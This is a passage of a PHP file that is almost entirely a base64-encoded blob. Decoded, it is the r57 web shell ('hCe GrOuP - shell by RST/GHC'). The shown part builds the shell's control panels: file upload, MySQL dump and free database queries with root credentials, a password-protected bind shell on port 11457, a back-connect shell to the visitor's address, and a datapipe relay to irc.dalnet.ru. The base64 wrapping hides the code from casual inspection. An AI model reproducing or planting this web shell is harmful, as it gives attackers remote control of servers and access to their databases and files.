wvYj4iLGluKCd0ZXh0Jywnc3ViaicsNDUsKCFlbXB0eSgkX1BPU1RbJ3N1YmonXSk/KCRfUE9TVFsnc3ViaiddKTooImZpbGUgZnJvbSByNTdzaGVsbCIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDQ1LCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkxJ10uJGFycm93LiI8L2I+IixpbigncmFkaW8nLCdjb21wcmVzcycsMCwnbm9uZScsMSkuJyAnLiRhcmgpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNSddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQppZigkbXlzcWxfb258fCRtc3NxbF9vbnx8JHBnX29ufHwkb3JhX29uKQ0Kew0KJHNlbGVjdCA9ICc8c2VsZWN0IG5hbWU9ZGI+JzsNCmlmKCRteXNxbF9vbikgJHNlbGVjdCAuPSAnPG9wdGlvbj5NeVNRTDwvb3B0aW9uPic7DQppZigkbXNzcWxfb24pICRzZWxlY3QgLj0gJzxvcHRpb24+TVNTUUw8L29wdGlvbj4nOw0KaWYoJHBnX29uKSAgICAkc2VsZWN0IC49ICc8b3B0aW9uPlBvc3RncmVTUUw8L29wdGlvbj4nOw0KaWYoJG9yYV9vbikgICAkc2VsZWN0IC49ICc8b3B0aW9uPk9yYWNsZTwvb3B0aW9uPic7DQokc2VsZWN0IC49ICc8L3NlbGVjdD4nOw0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODInXSwnaWQyMCcpLiR0YWJsZV91cDIuZGl2KCdpZDIwJykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCBjbGFzcz1tYWluIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQwJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgwJ10uJGFycm93LiI8L2I+Iiwkc2VsZWN0KTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkYl9zZXJ2ZXInLDE1LCghZW1wdHkoJF9QT1NUWydkYl9zZXJ2ZXInXSk/KCRfUE9TVFsnZGJfc2VydmVyJ10pOigibG9jYWxob3N0IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdkYl9wb3J0JywxNSwoIWVtcHR5KCRfUE9TVFsnZGJfcG9ydCddKT8oJF9QT1NUWydkYl9wb3J0J10pOigiMzMwNiIpKSkpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4nIDogJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfbCcsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2wnXSk/KCRfUE9TVFsnbXlzcWxfbCddKTooInJvb3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ215c3FsX3AnLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF9wJ10pPygkX1BPU1RbJ215c3FsX3AnXSk6KCJwYXNzd29yZCIpKSkpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfZGInLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF9kYiddKT8oJF9QT1NUWydteXNxbF9kYiddKTooIm15c3FsIikpKS4nIDxiPi48L2I+ICcuaW4oJ3RleHQnLCdteXNxbF90YmwnLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF90YmwnXSk/KCRfUE9TVFsnbXlzcWxfdGJsJ10pOigidXNlciIpKSkpOw0KZWNobyBzcigzNSxpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ215c3FsX2R1bXAnKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDEnXS4kYXJyb3cuIjwvYj4iLGluKCdjaGVja2JveCcsJ2RpZiBpZD1kaWYnLDAsJzEnKS5pbigndGV4dCcsJ2RpZl9uYW1lJywzMSwoIWVtcHR5KCRfUE9TVFsnZGlmX25hbWUnXSk/KCRfUE9TVFsnZGlmX25hbWUnXSk6KCJkdW1wLnNxbCIpKSkpOw0KZWNobyBzcigzNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ5J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIGNsYXNzPW1haW4gdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODMnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODAnXS4kYXJyb3cuIjwvYj4iLCRzZWxlY3QpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTExJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RiX3NlcnZlcicsMTUsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIzMzA2IikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLicgOiAnLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9sJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9QT1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnbXlzcWxfcCcsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX3AnXSk/KCRfUE9TVFsnbXlzcWxfcCddKTooInBhc3N3b3JkIikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9kYicsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg0J10uJGFycm93LiI8L2I+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RiX3F1ZXJ5JyksIiIpOw0KZWNobyAkdGUuIjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz48dGV4dGFyZWEgY29scz01NSByb3dzPTEgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTOyIpKS4iPC90ZXh0YXJlYT48YnI+Ii5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pLiI8L2Rpdj48L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+IjsNCn0NCmlmKCEkc2FmZV9tb2RlJiYkdW5peCl7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MSddLCdpZDIxJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjEnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIGNsYXNzPW1haW4gdmFsaWduPXRvcCB3aWR0aD0zNCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OSddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwb3J0JywxNSwnMTE0NTcnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdiaW5kX3Bhc3MnLDE1LCdyNTcnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5DPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MyddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCBjbGFzcz1tYWluIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lwJywxNSwoKGdldGVudignUkVNT1RFX0FERFInKSkgPyAoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA6ICgiMTI3LjAuMC4xIikpKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwb3J0JywxNSwnMTE0NTcnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5DPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NCddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCBjbGFzcz1tYWluIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY2FsX3BvcnQnLDE1LCcxMTQ1NycpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3JlbW90ZV9ob3N0JywxNSwnaXJjLmRhbG5ldC5ydScpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3JlbW90ZV9wb3J0JywxNSwnNjY2NycpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI2J10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPmRhdGFwaXBlLnBsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5kYXRhcGlwZS5jPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NSddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQplY2hvICc8L3RhYmxlPicuJHRhYmxlX3VwMy4iPC9kaXY+PC9kaXY+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPm8tLS1bIGhDZSBHck91UCAtIHNoZWxsIGJ5IFJTVC9HSEMgfCA8YSBocmVmPWh0dHA6Ly9oY2Vncm91cC5iaXo+aHR0cDovL2hjZWdyb3VwLm5ldDwvYT4gfCA8YSBocmVmPWh0dHA6Ly9oY2Vncm91cC5uZXQ+SEBjaytDckBjaz1FbmoweSE8L2E+IHwgRGVzaWduIGJ5OiA8YSBocmVmPWh0dHA6Ly83MC44NS4xNTEuMTQ2L35hbHVjYXIvNHJ1bS8gPC9hPiB8IHZlcnNpb24gIi4kdmVyc2lvbi4iIF0tLS1vPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iLiRmOw0KZWNobyAnPC9ib2R5PjwvaHRtbD4nOw=='));
?>